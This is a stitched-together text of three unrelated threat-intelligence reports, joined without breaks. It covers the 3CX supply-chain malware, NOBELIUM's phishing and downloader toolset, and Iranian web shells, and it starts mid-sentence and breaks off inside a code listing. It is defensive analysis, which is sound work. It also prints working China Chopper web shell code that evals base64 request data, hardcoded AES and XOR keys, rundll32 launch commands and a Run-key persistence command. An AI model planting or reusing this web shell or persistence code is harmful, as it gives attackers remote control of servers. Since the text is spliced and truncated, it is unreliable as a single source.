user; the C2 responds with a 204 (No Content) status code instead. Volexity also determined that the second-stage payload servers are forwarding requests upstream to central infrastructure. This assertion is based on the fact that any given MachineGuid sent in the cookie header will only work once, even when used with different C2s. Below is a snippet of what the returned JSON looks like: ```json {"url":"","description":"","meta":"vyoAAL4D<snip>"} ``` Each of the live servers returned identical responses, consisting of shellcode followed by a 64-bit DLL, which Volexity refers to as “ICONICSTEALER.” The DLL was compiled on March 16, 2023, and is designed to collect information about the system and browser using an embedded copy of the SQLite3 library. Details of the DLL are given below: - **Name(s):** N/A - **Size:** 1.1MB (1182208 Bytes) - **File Type:** application/x-dosexec - **MD5:** 7faea2b01796b80d180399040bb69835 - **SHA1:** 3b3e778b647371262120a523eb873c20bb82beaf - **SHA256:** 8ab3a5eaaf8c296080fadf56b265194681d7da5da7c02562953a4cb60e147423 The DLL retrieves the hostname, domain name, and OS version. Then, it will retrieve the browser history (title and URL) of the following browsers: - Brave - Chrome - Edge - Firefox It limits the output to the first 500 entries, and it passes this data back to the ICONIC malware that then POSTs the data back to the C2. It is likely that the attacker then serves a further payload to victims of interest. Volexity has not been able to retrieve a further payload at this time. ### macOS ICONIC Analysis The macOS installer for 3CX was also compromised. The following table shows the details of this installer: - **Name(s):** 3CXDesktopApp-18.12.416.dmg | 3CXDesktopApp-latest.dmg - **Size:** 164.2MB (172150545 Bytes) - **File Type:** Macintosh Disk Image - **MD5:** d5101c3b86d973a848ab7ed79cd11e5a - **SHA1:** 3dc840d32ce86cebf657b17cef62814646ba8e98 - **SHA256:** e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec The backdoor component is libffmpeg.dylib located in /Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries. It is worth noting that this is the equivalent of the same library that was abused in the Windows binary. - **Name(s):** libffmpeg.dylib - **Size:** 4.7MB (4979136 Bytes) - **File Type:** Mach-O - **MD5:** 660ea9b8205fbd2da59fefd26ae5115c - **SHA1:** 769383fc65d1386dd141c960c9970114547da0c2 - **SHA256:** a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 The macOS version does not use GitHub to retrieve its C2 server. Instead, a list of C2 servers is stored in the file encoded with a single byte XOR key, 0x7A. Below is a list of the URLs it will attempt to contact. Note that the domains largely overlap with the Windows sample, but the URIs are different. - msstorageazure[.]com/analysis - officestoragebox[.]com/api/biosync - visualstudiofactory[.]com/groupcore - azuredeploystore[.]com/cloud/images - msstorageboxes[.]com/xbox - officeaddons[.]com/quality - sourceslabs[.]com/status - zacharryblogs[.]com/xmlquery - pbxcloudeservices[.]com/network - pbxphonenetwork[.]com/phone - akamaitechcloudservices[.]com/v2/fileapi - azureonlinestorage[.]com/google/storage - msedgepackageinfo[.]com/ms-webview - glcloudservice[.]com/v1/status - pbxsources[.]com/queue - www.3cx[.]com/blog/event-trainings/ It is interesting to note that IDA Pro is confused by the main malicious function used in the macOS malware. The decompiled pseudocode hides most of the features. The malware randomly picks one of the servers from the list to retrieve the next stage. As with the Windows version of the malware, a specially formatted cookie must be included in the web request to retrieve a further payload: ``` 3cx_auth_id=%s;3cx_auth_token_content=%s;__tutma=true ``` The user-agent is also hardcoded and may be used by the attacker to filter valid requests: ``` Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.128 Safari/537.36 ``` Volexity was not able to retrieve the next stage from the C2 servers, as the upstream C2 infrastructure had stopped responding by the time it made requests. ## Infrastructure & Attribution In terms of attacker infrastructure, the domains used in these attacks are hosted on shared infrastructure and appear to simply proxy requests to an unknown upstream C2. Domains were registered with several providers, including NameCheap, Public Domain Registry, and NameSilo. Some of the domains were not registered using WHOIS protection, and each was registered using a unique email address. The following emails were observed in WHOIS records for related domains: - [email protected] - [email protected] - jackiewcaudill@gmail[.]com - [email protected] - haroldjmarable@gmail[.]com In terms of attribution, the original CrowdStrike post suggests the incident is related to LABYRINTH CHOLLIMA, which is related to the public Lazarus moniker (although Volexity does not have visibility of exactly which parts of Lazarus this maps to). Volexity cannot currently map the disclosed activity to any threat actor, so it will be tracked under UTA0040. ## Conclusion & Mitigations Volexity’s analysis concludes that both the Windows and macOS installers for the 3CX desktop application had malicious code inserted into them before being provided to customers. This suggests that 3CX was itself compromised by the threat actor for a period of time prior to the infection, allowing the attacker to develop an understanding, access, and malicious code for the development-update process of the company. The end result for victims of this campaign was that information-stealing malware was installed on endpoints that installed this update, and for selected victims, an additional arbitrary payload may also have been delivered. Supply chain attacks are relatively rare due to the high level of technical and operational capability required for success. However, organizations with a large customer base, such as 3CX, are attractive targets due to the broad level of access these attacks can grant threat actors. Volexity assesses that it is likely UTA0040 is a nation-state-backed threat actor based on the level of capabilities utilized in this campaign, combined with a perceived intent to gather information from victims for further targeted compromise. Crimeware-based threat groups who have historically conducted supply chain attacks typically push ransomware payloads immediately with their access, rather than try to conduct reconnaissance to filter victims of their true payload. While Volexity cannot attribute this cluster to any known group at this time, CrowdStrike has attributed this activity to LABYRINTH CHOLLIMA, a North Korean group. Supply chain attacks are complex issues for defenders to defend against. This instance highlights how large code bases can be backdoored with minor additions to existing code and remain undetected by the software provider and the end user. However, information in the public domain highlights the value of endpoint and network detection capabilities, which provided valuable identification of anomalous behavior that may have prevented further impact for end users. The infrastructure registration and public artifacts (notably the GitHub page) suggests that the attacker had access to the software provider at least as early December 2022, and perhaps as early as November 2022. It is not clear when the first malicious update described in this post was downloaded by victims of this campaign, but the public discussions around detections suggest this could be as early as March 22, 2023. This does not rule out other potentially malicious activities having occurred before this time related to this software. To detect and investigate these attacks such as these, Volexity recommends the following: - Use the YARA rules provided here to detect related activity. - Use the provided Suricata rules here to detect related activity. It should be noted that these requests take place over HTTPS, meaning they are only effective if this traffic is being decrypted prior to matching. - Block the IOCs provided here.
# Breaking down NOBELIUM’s latest early-stage toolset As we reported in earlier blog posts, the threat actor NOBELIUM recently intensified an email-based attack that it has been operating and evolving since early 2021. We continue to monitor this active attack and intend to post additional details as they become available. In this blog, we highlight four tools representing a unique infection chain utilized by NOBELIUM: EnvyScout, BoomBox, NativeZone, and VaporRage. These tools have been observed being used in the wild as early as February 2021 attempting to gain a foothold on a variety of sensitive diplomatic and government entities. As part of this blog, Microsoft Threat Intelligence Center (MSTIC) is releasing an appendix of indicators of compromise (IOCs) for the community to better investigate and understand NOBELIUM’s most recent operations. The NOBELIUM IOCs associated with this activity are available in CSV on the MSTIC GitHub. This sophisticated NOBELIUM attack requires a comprehensive incident response to identify, investigate, and respond. We have also outlined related alerts in Microsoft 365 Defender, so that security teams can check to see if activity has been flagged for investigation. Each of the NOBELIUM tools discussed in this blog is designed for flexibility, enabling the actor to adapt to operational challenges over time. While its technical specifics are not unprecedented, NOBELIUM’s operational security priorities have likely influenced the design of this toolset, which demonstrates preferable features for an actor operating in potentially high-risk and high-visibility environments. These attacker security priorities are: - **Use of trusted channels**: BoomBox is a uniquely developed downloader used to obtain a later-stage payload from an actor-controlled Dropbox account. All initial communications leverage the Dropbox API via HTTPS. - **Opportunity for restraint**: Consistent with other tools utilized by NOBELIUM, BoomBox, VaporRage, and some variants of NativeZone conduct some level of profiling on an affected system’s environment. MSTIC is currently unaware if these tools benefit from any server-side component. It is plausible that this design may allow NOBELIUM to selectively choose its targets and gain a level of understanding of potential discovery should the implant be run in environments unfamiliar to the actor. - **Ambiguity**: VaporRage is a unique shellcode loader seen as the third-stage payload. VaporRage can download, decode, and execute an arbitrary payload fully in-memory. Such design and deployment patterns, which also include staging of payloads on a compromised website, hamper traditional artifacts and forensic investigations, allowing for unique payloads to remain undiscovered. NOBELIUM is an actor that operates with rapid operational tempo, often leveraging temporary infrastructure, payloads, and methods to obfuscate their activities. We suspect that NOBELIUM can draw from significant operational resources that are often showcased in their periodic campaigns. Since December, the security community has identified a growing collection of payloads attributed to the actor, including the GoldMax, GoldFinder, and Sibot malware identified by Microsoft, as well as TEARDROP (FireEye), SUNSPOT (CrowdStrike), Raindrop (Symantec), and, most recently, FLIPFLOP (Volexity). Despite growing community visibility since the exposure of the SolarWinds attack in late 2020, NOBELIUM has continued to target government and diplomatic entities across the globe. We anticipate that as these operations progress, NOBELIUM will continue to mature their tools and tactics to target a global audience. While this post focuses on a single wave of the campaign comprised of the mentioned four malware families, it also highlights variations in the campaign wherein methodologies were altered per wave. The list of indicators in the appendix expands beyond this single wave. ## EnvyScout: NV.html (malicious HTML file) NV.html, tracked by Microsoft as EnvyScout, can be best described as a malicious dropper capable of de-obfuscating and writing a malicious ISO file to disk. EnvyScout is chiefly delivered to targets of NOBELIUM by way of an attachment to spear-phishing emails. The HTML `<body>` section of NV.html contains four notable components: ### Component #1: Tracking and credential-harvesting URLs In one variant of EnvyScout, the `<body>` section contains two URLs. The first, prefixed with a file:// protocol handler, is indicative of an attempt to coax the operating system to send sensitive NTLMv2 material to the specified actor-controlled IP address over port 445. It is likely that the attacker is running a credential capturing service, such as Responder, at the other end of these transactions. Later, brute-forcing of these credentials may result in their exposure. The second URL, which resolves to the same IP address as the former at the time of analysis, remotely sources an image that is part of the HTML lure. This technique, sometimes referred to as a “web bug,” serves as a read receipt of sorts to NOBELIUM, validating that the prospective target followed through with opening the malicious attachment. ### Component #2: FileSaver JavaScript helper code The second portion of EnvyScout is a modified version of the open-source tool FileSaver, which is intended to assist in the writing of files to disk via JavaScript. The code is borrowed directly from the publicly available variants with minor alterations, including whitespace removal, conversion of hex parameters to decimal, and renamed variables. By combining this code with components #3 and #4 detailed below, NOBELIUM effectively implements a methodology known as HTML smuggling. This methodology may circumvent static analysis of known malicious file types by obscuring them within dynamically altered content upon execution. When combined with dynamic analysis guardrails, this can be an effective way to subvert detections of both types. ### Component #3: Obfuscated ISO file The third section of EnvyScout contains a payload stored as an encoded blob. This payload is decoded by XOR’ng each character with a single-byte key, which then leads to a Base64 payload that is then decoded and written to disk via components #2 and #4. ### Component #4: De-obfuscator and dropper script The final component of EnvyScout is a short code snippet responsible for decoding the ISO in the Base64 encoded/XOR’d blob, and saving it to disk as NV.img with a mime type of “application/octet-stream.” At this stage of infection, the user is expected to open the downloaded ISO, NV.img, by double-clicking it. As Microsoft has been tracking waves of this campaign for months, we have identified various modifications to the actor’s toolkit that were not present in every instance of EnvyScout but are nonetheless notable for defenders: #### EnvyScout variation #1 In some iterations of the actor’s phishing campaigns, EnvyScout contained execution guardrails wherein window.location.pathname was called, and its values were leveraged to ensure that the first two entries in the array of characters returned were “C” and “:”. If this condition was not met—indicating the sample was not being executed from the C: drive—the embedded ISO was not written to disk. As the attacker had gathered qualities from detonations of previous entries in the campaign via the Firebase fingerprinting JavaScript detailed in a prior blog post, this was assessed to be an execution guardrail to deter analysis and dynamic execution of the samples bearing these guardrails. Having witnessed both iterations of EnvyScout in the wild allows us to infer the intent of some of the information gathered from earlier instances. #### EnvyScout variation #2 In at least one instance of EnvyScout delivery, we observed further enumeration of the executing browser’s environment, wherein the user-agent was used to determine whether a Windows machine received an ISO payload. If the visitor arrived via iOS, they were redirected to external infrastructure. ## NV.img (malicious ISO file) When a target user opens NV.img (dropped by EnvyScout) by double-clicking it, the default behavior on Windows 10 is to mount the ISO image at the next available drive letter. Windows Explorer subsequently displays the contents of the mounted ISO in a window, similar to what users see when they open folders or compressed archives. As shown above, the mounted ISO contains a single visible file, a shortcut file named NV. However, adjusting the file and folder settings in Windows to show hidden files and folders exposes a hidden folder named NV and a hidden executable named BOOM.exe. The user is likely expected to interact with NV.lnk, but manual execution of the hidden file BOOM.exe also results in the infection of the system. The individual contents of each file are detailed below. The use of ISO as a vessel for malicious payloads is further notable due to the lack of mark of the web propagation on the contents, which may impact both host-based detections and reduce friction to user interaction with the contents. ## NV.pdf (decoy document) The hidden NV directory in the mounted ISO contains a decoy PDF file named NV.pdf which contains a decoy advisory. As described later in this analysis, the contents of the NV directory are displayed to the user by BOOM.exe. ## NV.lnk (malicious shortcut) NV.lnk is a shortcut/launcher for the hidden file BOOM.exe. The shortcut leverages a living-off-the-land binary (LOLBin) and technique to proxy the execution of BOOM.exe using the following hardcoded shortcut target value: `C:\Windows\System32\rundll32.exe c:\windows\system32\advpack.dll,RegisterOCX BOOM.exe.` Note that Microsoft also saw a variation of this LNK file containing the following shortcut target value: `C:\Windows\System32\cmd.exe /c start BOOM.exe.` Numerous other LNKs were identified and are referenced in the appendix linked in this post. Methodologies varied, as did metadata in the LNKs themselves. For instance, the sample with the SHA-256: `48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0` contained a target of `%windir%/system32/explorer.exe Documents.dll,Open`, while the absolute path in the sample was `C:\Windows\system32\rundll32.exe`. As referenced in Volexity’s blog post on the latest campaign, the LNK metadata was widely removed, and what remained varied between waves. Icons were often folders, meant to trick targets into thinking they were opening a shortcut to a folder. Microsoft also observed the following targets for known LNK files: - `C:\Windows\System32\rundll32.exe IMGMountingService.dll MountImgHelper` - `C:\Windows\System32\rundll32.exe diassvcs.dll InitializeComponent` - `C:\Windows\System32\rundll32.exe MsDiskMountService.dll DiskDriveIni` - `C:\Windows\system32\rundll32.exe data/mstu.dll,MicrosoftUpdateService` ## BoomBox: BOOM.exe (malicious downloader) BOOM.exe, tracked by Microsoft as “BoomBox,” can be best described as a malicious downloader. The downloader is responsible for downloading and executing the next-stage components of the infection. These components are downloaded from Dropbox (using a hardcoded Dropbox Bearer/Access token). When executed, BoomBox ensures that a directory named NV is present in its current working directory; otherwise it terminates. If the directory is present, BoomBox displays the contents of the NV directory in a new Windows Explorer window (leaving it up to the user to open the PDF file). Next, BoomBox ensures that the following file is not present on the system (if so, it terminates): `%AppData%\Microsoft\NativeCache\NativeCacheSvc.dll` (this file is covered later in this analysis). BoomBox performs enumeration of various victim host qualities, such as hostname, domain name, IP address, and username of the victim system to compile the following string (using example values): Next, BoomBox AES-encrypts the host information string above using the hardcoded encryption key “123do3y4r378o5t34onf7t3o573tfo73” and initialization vector (IV) value “1233t04p7jn3n4rg.” To masquerade the data as contents of a PDF file, BoomBox prepends and appends the magic markers for PDF to the AES-encrypted host information string above. BoomBox proceeds to upload the data above (masquerading as a PDF file) to a dedicated-per-victim-system folder in Dropbox. For demonstration purposes, an example HTTP(s) POST request used to upload the file/data to Dropbox is included below. To ensure the file has been successfully uploaded to Dropbox, BoomBox utilizes a set of regular expression values to check the HTTP response from Dropbox. Notably, BoomBox disregards the outcome of this check and proceeds, even if the upload operation is unsuccessful. Next, BoomBox downloads an encrypted file from Dropbox. After successfully downloading the encrypted file from Dropbox, BoomBox discards the first 10 bytes from the header and 7 bytes from the footer of the encrypted file, and then AES-decrypts the rest of the file using the hardcoded encryption key “123do3y4r378o5t34onf7t3o573tfo73” and IV value “1233t04p7jn3n4rg.” BoomBox writes the decrypted file to the file system at `%AppData%\Microsoft\NativeCache\NativeCacheSvc.dll`. It then establishes persistence for NativeCacheSvc.dll by creating a Run registry value named MicroNativeCacheSvc: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicroNativeCacheSvc` The Run registry value is populated with the following command, which is used to execute NativeCacheSvc.dll using rundll32.exe and by calling its export function named “_configNativeCache”: `rundll32.exe %AppData%\Microsoft\NativeCache\NativeCacheSvc.dll _configNativeCache` Next, BoomBox downloads a second encrypted file from the Dropbox path `/tmp/readme.pdf`, discards the first 10 bytes from the header and 7 bytes from the footer of the encrypted file, and then AES-decrypts the rest of the file (using the same AES IV and key as above). It writes the decrypted file at `%AppData%\SystemCertificates\CertPKIProvider.dll` and proceeds to execute the previously dropped file NativeCacheSvc.dll using the same rundll32.exe command as above. As the final reconnaissance step, if the system is domain-joined, BoomBox executes an LDAP query to gather data such as distinguished name, SAM account name, email, and display name of all domain users via the filter `(&(objectClass=user)(objectCategory=person)).` The enumerated data is AES-encrypted (using the same IV and key as before), encapsulated in a fake PDF file (as previously described), and uploaded to the Dropbox path `/new/<Victim_ID>`, where `<Victim_ID>` is the MD5 hash of the victim’s system name. ## NativeZone: NativeCacheSvc.dll (malicious loader) NativeCacheSvc.dll, tracked by Microsoft as “NativeZone,” can best be described as a malicious loader responsible for utilizing rundll32.exe to load the malicious downloader component CertPKIProvider.dll. The malicious functionality of NativeCacheSvc.dll is located inside a DLL export named configNativeCache. The export function executes rundll32.exe to load `%AppData%\SystemCertificates\Lib\CertPKIProvider.dll` by calling its export function named eglGetConfigs. ## VaporRage: CertPKIProvider.dll (malicious downloader) CertPKIProvider.dll, tracked by Microsoft as “VaporRage,” can best be described as a shellcode downloader. This version of VaporRage contains 11 export functions including eglGetConfigs, which houses the malicious functionality of the DLL. As mentioned in the previous section, NativeZone utilizes rundll32.exe to execute the eglGetConfigs export function of CertPKIProvider.dll. Upon execution, the export function first ensures the NativeZone DLL `%AppData%\Microsoft\NativeCache\NativeCacheSvc.dll` is present on the system (else it terminates). Next, the export function issues an HTTP(s) GET request to a legitimate but compromised WordPress site holescontracting[.]com. The GET request is comprised of the dynamically generated and hardcoded values. The purpose of the GET request is to first register the system as compromised and then to download an XOR-encoded shellcode blob from the WordPress site (only if the system is of interest to the actor). Once successfully downloaded, the export function XOR decodes the shellcode blob (using a hardcoded multi-byte XOR key “346hrfyfsvvu235632542834”). It then proceeds to execute the decoded shellcode in memory by jumping to the beginning of the shellcode blob in an executable memory region. The download-decode-execute process is repeated indefinitely, approximately every hour, until the DLL is unloaded from memory. VaporRage can execute any compatible shellcode provided by its C2 server, including a Cobalt Strike stage shellcode. ## Additional Custom Cobalt Strike loader from NOBELIUM As described in a previous blog, NOBELIUM has used multiple custom Cobalt Strike Beacon loaders (likely generated using custom Artifact Kit templates) to enable their malicious activities. These include TEARDROP, Raindrop, and other custom loaders. Since our last publication, we have identified additional variants of NOBELIUM’s custom Cobalt Strike loaders. Instead of assigning a name to each short-lived and disposable variant, Microsoft will be tracking NOBELIUM’s custom Cobalt Strike loaders and downloaders for the loaders under the name NativeZone. As seen in previous custom NOBELIUM Cobalt Strike loaders, the new loader DLLs also contain decoy export names and function, as well as code and strings borrowed from legitimate applications. The new NativeZone loaders can be grouped into two variants: - **Variant #1**: These loaders embed an encoded/encrypted Cobalt Strike Beacon stage shellcode. - **Variant #2**: These loaders load an encoded/encrypted Cobalt Strike Beacon stage shellcode from another accompanying file (e.g., an RTF file). In the succeeding sections, we discuss some of the new NativeZone Cobalt Strike Beacon variants we have observed in our investigation. ### NativeZone variant #1 Similar to the previous NOBELIUM custom Cobalt Strike loaders, such as TEARDROP and Raindrop, these NativeZone loaders are responsible for decoding/decrypting an embedded Cobalt Strike Beacon stage shellcode and executing it in memory. Some of the NativeZone loaders feature anti-analysis guardrails to thwart analysis of the samples. In these versions of NativeZone, the actor has used a variety of encoding and encryption methodologies to obfuscate the embedded shellcode. ### NativeZone variant #2 Unlike variant #1, the NativeZone variant #2 samples do not contain the encoded/encrypted Cobalt Strike Beacon stage shellcode. Instead, these samples read the shellcode from an accompanying file that is shipped with the sample. For example, one NativeZone variant #2 sample was observed alongside an RTF file. The RTF file doubles as both a decoy document and a shellcode carrier file. The RTF file contains the proper RTF file structure and data followed by an encoded shellcode blob (starting at offset 0x658). When the NativeZone DLL is loaded/executed, it first displays the RTF document to the user. ## Notes on new and old NOBELIUM PDB paths The following example PDB paths were observed in the samples analyzed in this blog: - BoomBox: `C:\Users\dev10vs\Desktop\Prog\Obj\BOOM\BOOM\BOOM\obj\Release\BOOM.pdb` - NativeZone: `c:\users\devuser\documents\visual studio 2013\Projects\DLL_stageless\Release\DLL_stageless.pdb` - NativeZone: `C:\Users\DevUser\Documents\Visual Studio 2013\Projects\DLL_stageless\Release\DLL_stageless.pdb` - NativeZone: `C:\Users\dev\Desktop\나타나게 하다\Dll6\x64\Release\Dll6.pdb` Note the presence of ‘dev’ user in the PDB paths above. A ‘dev’ username was previously observed in the PDB path of a NOBELIUM Cobalt Strike loader mentioned in our previous blog. ## Comprehensive protections for persistence techniques The sophisticated NOBELIUM attack requires a comprehensive incident response to identify, investigate, and respond. ### Microsoft Defender Antivirus Microsoft Defender Antivirus detects the new NOBELIUM components discussed in this blog as the following malware: - TrojanDropper:JS/EnvyScout.A!dha - TrojanDownloader:Win32/BoomBox.A!dha - Trojan:Win32/NativeZone.A!dha - Trojan:Win32/NativeZone.B!dha - Trojan:Win32/NativeZone.C!dha - Trojan:Win32/NativeZone.D!dha - TrojanDownloader:Win32/VaporRage.A!dha ### Microsoft Defender for Endpoint (EDR) Alerts with the following titles in the Security Center can indicate threat activity on your network: - Malicious ISO File used by NOBELIUM - Cobalt Strike Beacon used by NOBELIUM - Cobalt Strike network infrastructure used by NOBELIUM - EnvyScout malware - BoomBox malware - NativeZone malware - VaporRage malware The following alerts might also indicate threat activity associated with this threat. The below alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report: - An uncommon file was created and added to startup folder - A link file (LNK) with unusual characteristics was opened ### Azure Sentinel We have updated the related Azure Sentinel query to include these additional indicators. Azure Sentinel customers can access this query in this GitHub repository. ### Indicators of compromise (IOCs) The NOBELIUM IOCs associated with this activity are available in CSV on the MSTIC GitHub.
# Iranian Web Shells ## Summary ### Description The Iranian-based malicious cyber actor associated with this report is known to target industries related to information technology, government, and insurance across the US. The threat actor has been observed exploiting several publicly known Common Vulnerabilities and Exposures (CVEs) in virtual private network (VPN), Citrix NetScaler, and F5 vulnerabilities. Once the actor exploits these vulnerabilities, open source web shells and/or custom web shells are used to further entrench into a victim network. The web shells are publicly known as ChunkyTuna, Tiny, and China Chopper web shells. This product details the functionality of 18 malicious files, including multiple components of the China Chopper web shell, including an application that listens for incoming Hypertext Transfer Protocol (HTTP) connections from a remote operator. The China Chopper web shell will analyze and execute JavaScript code on a victim's system. The report also details additional China Chopper web shell components that allow the operator command and control (C2) capabilities, including the ability to enumerate directories, upload and execute additional payloads, and exfiltrate data. In addition, a program data (PDB) file and a binary, identified as a compiled version of the open source project known as "FRP," allows an adversary to tunnel various types of connections to a remote operator sitting outside of the victim's network perimeter. Additionally, a PowerShell script analyzed is part of the open source project known as "KeeThief." This code will allow the operator to access encrypted password credentials from "KeePass" password management software. It appears this adversary utilized these malicious tools to maintain persistent remote access and data exfiltration from the victim's network. The actor uses the "FRP" utility to tunnel outbound Remote Desktop Protocol (RDP) sessions, allowing persistent access to the network from outside the firewall. The Chopper web shell also provides the persistent ability to navigate throughout the victim's network when inside the perimeter, leveraging the "KeeThief" to access sensitive user password credentials and potentially the ability to pivot to user accounts outside of the victim's network. An additional 7 files contain malicious Hypertext Preprocessor (PHP) code designed to function as malicious web shells. The purpose of these web shells is to accept commands and data from a remote operator, providing the operator C2 capabilities over a compromised system. ## Submitted Files (17) - 134ef25d48b8873514f84a0922ec9d835890bda16cc7648372e014c1f90a4e13 (site.aspx) - 17f5b6d74759620f14902a5cc8bba8753df8a17da33f4ea126b98c7e2427e79c (vti_cnf.aspx.33154034.compiled) - 28bc161df8406a6acf4b052a986e29ad1f60cbb19983fc17931983261b18d4ea (App_Web_tcnma5bs.pdb) - 2944ea7d0045a1d64f3584e5803cbf3a026bd0e22bdf2e4ba1d28c6ad9e57849 (prev_sh) - 3b14d5eafcdb9e90326cb4146979706c85a58be3fc4706779f0ae8d744d9e63c (content) - 4a1fc30ffeee48f213e256fa7bff77d8abd8acd81e3b2eb3b9c40bd3e2b04756 (content) - 51e9cadeab1b33260c4ccb2c63f5860a77dd58541d7fb0840ad52d0a1abedd21 (df5bd34799e200951fcce77c1c0b42...) - 547440bd037a149ac7ac58bc5aaa65d079537e7a87dc93bb92edf0de7648761c (df5bd34799e200951fcce77c1c0b42...) - 553f355f62c4419b808e078f3f71f401f187a9ac496b785e81fbf087e02dc13f (ui-bg.aspx) - 55b9264bc1f665acd94d922dd13522f48f2c88b02b587e50d5665b72855aa71c (svchost.exe) - 5e0457815554574ea74b8973fc6290bd1344aac06c1318606ea4650c21081f0a (App_Web_tcnma5bs.0.js) - 8c9aeedeea37ee88c84b170d9cd6c6d83581e3a57671be0ba19f2c8a17bd29f3 (content) - 913ee2b048093162ff54dca050024f07200cdeaf13ffd56c449acb9e6d5fbda0 (kee.ps1) - 99344d862e9de0210f4056bdf4b8045ab9eabe1a62464d6513ed16208ab068fc (App_Web_tcnma5bs.dll) - b36288233531f7ac2e472a689ff99cb0f2ac8cba1b6ea975a9a80c1aa7f6a02a (tiny_webshell) - b443032aa281440017d1dcc3ae0a70d1d30d4f2f2b3f064f95f285e243559249 (df5bd34799e200951fcce77c1c0b42...) - f7ddf2651faf81d2d5fe699f81315bb2cf72bb14d74a1c891424c6afad544bde (dllhost.dll) ## Additional Files (1) - 2410836bda2d6a10791eb9541ad9ef1cb608aa9905766c28037950664cd64c6334 (KeeTheft.dll) ## Findings ### Tags - trojanwebshell ### Details **Name:** ui-bg.aspx **Size:** 178 bytes **Type:** ASCII text, with no line terminators **MD5:** d7b7a8c120b69166643ee05bf70b37e5 **SHA1:** 2ac99374cab70f8be83c48bbf3258eae78676f65 **SHA256:** 553f355f62c4419b808e078f3f71f401f187a9ac496b785e81fbf087e02dc13f **SHA512:** 8c51c9e3d3d39ec7b961482ed7fc8cde1804ef126b72fce270c6891f64f4371067a65a8be1cbab1ab3c8860a3e2ea206d274f064d54cf2 **ssdeep:** 3:aEwJkW9uck1SLxAdRLgyKBM2aBZBQ/tZ/LmKABXXKF2xKYA5eRtGnKRHBIwLWEDp:aEm7EnLgyKBM5Y/tZ6KCHKF2xKt5e/GY **Entropy:** 5.196436 ### Antivirus - ESET: ASP/Webshell.T trojan - Sophos: Troj/WebShel-F - Symantec: Hacktool.Jsprat ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file is a small JavaScript file, which contains the following code: ```javascript @ Page Language="Jscript"%><%try { eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item["[Redacted]"])),"unsafe"); } catch(e) { } ``` Analysis indicates this file might serve as part of a larger application. The code within the file decodes and executes data using the JavaScript "eval()" function, indicating the data is pulled from a remote server using the HTTP protocol. It is believed this script is part of the China Chopper web shell framework. ### Additional Findings - **Name:** site.aspx - **Size:** 178 bytes - **Type:** ASCII text, with no line terminators - **MD5:** 20d89fa1df155632fafb2c9fe1a6a038 - **SHA1:** c9cf494475de81dae5a2c54c678b4a518f46b1fe - **SHA256:** 134ef25d48b8873514f84a0922ec9d835890bda16cc7648372e014c1f90a4e13 - **SHA512:** c1d485e34153c50af79e719c4100b988ba4d289578d385d0b30d2225c20b4b8f715d215f609a141030489a337ff36a89b23d4e99bf189 - **ssdeep:** 3:aEwJkW9uck1SLxAdRLgyKBM2aBZBQ/tZ/LmKABXXKF2xKYA5eRtJIIDYbwLWEDvR:aEm7EnLgyKBM5Y/tZ6KCHKF2xKt5e/f3 - **Entropy:** 5.201321 ### Antivirus - ESET: ASP/Webshell.T trojan - Sophos: Troj/WebShel-F - Symantec: Hacktool.Jsprat ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file is a small JavaScript file, which contains the following embedded code: ```javascript Page Language="Jscript"%><%try { eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item["ammashnist"])),"unsafe"); } catch(e) { } ``` This script is designed to pull JavaScript from an existing "Request Object," Base64 decode and execute it. The contents of the retrieved JavaScript are not available for analysis. It is believed this web shell is a component of the China Chopper web shell framework. ### Additional Tags and Details - **Tags:** webshell - **Name:** vti_cnf.aspx.33154034.compiled - **Size:** 408 bytes - **Type:** XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators - **MD5:** de1cd1c54711544508d157214323af85 - **SHA1:** c33a07965e06280c53e19a5d093983205433843f - **SHA256:** 17f5b6d74759620f14902a5cc8bba8753df8a17da33f4ea126b98c7e2427e79c - **SHA512:** 8265901a684f808c612f9cfcc486aaba923e2cf8ca7fdcd3071e786ad6030c067c4147b7b4e36bb271a5f2b36e0c3f487ceb259e2f00e6 - **ssdeep:** 12:MMHdWFV2q6sX1rMxA0UH17I2fUQ/1OifV2q6sW6/1:JdmsvkrGOnfUcBsve/1 - **Entropy:** 5.120655 ### Antivirus No matches found. ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This file is a “.compiled” file generated during the compilation of an ASP.NET application. It is believed this file was generated during the execution of a China Chopper web shell application. Although this file cannot be executed, its presence may be considered an indicator of compromise. The following data is included: ```xml <?xml version="1.0" encoding="utf-8"?> <preserve resultType="3" virtualPath="/rfq/aspnet_client/system_web/4_0_30319/_vti_cnf.aspx" hash="825a58a8b" filehash="445bd1a9fe00" assembly="App_Web_tcnma5bs" type="ASP.aspnet_client_system_web_4_0_30319__vti_cnf_aspx"> <filedeps> <filedep name="/rfq/aspnet_client/system_web/4_0_30319/_vti_cnf.aspx" /> </filedeps> </preserve> ``` ### Additional Findings - **Name:** App_Web_tcnma5bs.0.js - **Size:** 8401 bytes - **Type:** UTF-8 Unicode (with BOM) text, with CRLF line terminators - **MD5:** 8495abfd7356f75ad7006d2ab42d4bee - **SHA1:** 3736a085f9fe515dc7d12bbf2a1474bdd3d8d4d2 - **SHA256:** 5e0457815554574ea74b8973fc6290bd1344aac06c1318606ea4650c21081f0a - **SHA512:** 8c5fec8455ad0d529030f19626b8fe55b05f6f24b4fee1378e2d6ffa7185c5f2854074cfc30518721892f39985dc5742e81f875d54691019 - **ssdeep:** 192:VkjEVXTaaVEDAQpovRpY0NHMdWoEsxpKL:VkjEVXTaaEDAQM3NHMdJEIp4 - **Entropy:** 5.246768 ### Antivirus No matches found. ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### Description This application has been identified as a component of a malicious web shell. This script has been tentatively identified as a variant of the China Chopper web shell. The following is a partial JavaScript application extracted from this script: ```javascript package ASP { public System.Runtime.CompilerServices.CompilerGlobalScopeAttribute() class 